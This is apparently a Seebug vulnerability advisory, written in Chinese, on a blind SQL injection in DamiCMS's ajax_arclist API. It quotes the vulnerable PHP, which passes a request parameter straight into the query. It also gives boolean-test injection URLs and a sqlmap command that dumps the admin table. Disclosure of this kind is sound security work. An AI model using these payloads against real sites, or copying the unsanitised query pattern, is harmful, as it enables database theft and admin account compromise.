大米CMS某处SQL盲注2

2014-11-01T00:00:00
ID SSV:95293
Type seebug
Reporter Root
Modified 2014-11-01T00:00:00

Description

简要描述:

大米CMS某处SQL盲注第二发,可直接拖库

详细说明:

文件/Web/Lib/Action/ApiAction.class.php

``` //万能获取数据接口 function ajax_arclist(){ $prefix = !empty($_REQUEST['prefix'])?(bool)$_REQUEST['prefix']:true; //表过滤防止泄露信息,只允许的表 if(!in_array($_REQUEST['model'],array('article','type','ad','label','link'))){exit();} if(!empty($_REQUEST['model'])){ if($prefix == true){ $model = C('DB_PREFIX').$_REQUEST['model']; } else{ $model = $_REQUEST['model']; } }else{ $model = C('DB_PREFIX').'article'; }
$order =!empty($_REQUEST['order'])?$_REQUEST['order']:''; $num =!empty($_REQUEST['num'])?$_REQUEST['num']:''; $where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):''; //使where支持 条件判断,添加不等于的判断 $page=false; echo $_REQUEST['page']; if(!empty($_REQUEST['page'])) $page=(bool)$_REQUEST['page'];
$pagesize =!empty($_REQUEST['pagesize'])?$_REQUEST['pagesize']:'10'; //$query =!empty($_REQUEST['sql'])?$_REQUEST['sql']:'';//太危险不用 $field =!empty($_REQUEST['field'])?$_REQUEST['field']:'';

     $m=new Model($model,"",false);  
     //如果使用了分页,缓存也不生效
     if($page){
           import("@.ORG.Page");     //这里改成你的Page类           
          $count=$m->where($where)->count();
          $total_page = ceil($count / $pagesize);
          $p = new Page($count,$pagesize);
           //如果使用了分页,num将不起作用
           $t=$m->field($field)->where($where)->limit($p->firstRow.','.$p->listRows)->order($order)->select();
           //echo $m->getLastSql();             
           $ret = array('total_page'=>$total_page,'data'=>$t);               
     }
     //如果没有使用分页,并且没有 query
     if(!$page){    
     $ret=$m->field($field)->where($where)->order($order)->limit($num)->select();
     }       
     $this->ajaxReturn($ret,'返回信息',1);

} ```

当满足这个条件时:

in_array($_REQUEST['model'],array('article','type','ad','label','link'))

where就被赋值了

$where =!empty($_REQUEST['where'])?urldecode($_REQUEST['where']):'';

然后将where就带入SQL语句

$count=$m->where($where)->count();

导致SQL注入

漏洞证明:

标准的盲注:

http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=1

<img src="https://images.seebug.org/upload/201410/311811369eb3210bf92e5d54f56747cddf3a6a2e.png" alt="dami1.png" width="600" onerror="javascript:errimg(this);">

http://localhost/dami/index.php?s=/api/ajax_arclist/model/article/where/123 and 1=2

<img src="https://images.seebug.org/upload/201410/3118115027f4df1d63dca86c846f65d2ef4c2518.png" alt="dami2.png" width="600" onerror="javascript:errimg(this);">

用SQLmap跑一下数据:

python sqlmap.py -u "http://10.65.20.198/dami/index.php?s=/api/ajax_arclist/model/article/where/123*" -D "dami" -T "dami_admin" --dump -v 3

管理员账户信息:

<img src="https://images.seebug.org/upload/201410/31181409dd973f7865a3b50e5e0e5ebe90252576.png" alt="dami3.png" width="600" onerror="javascript:errimg(this);">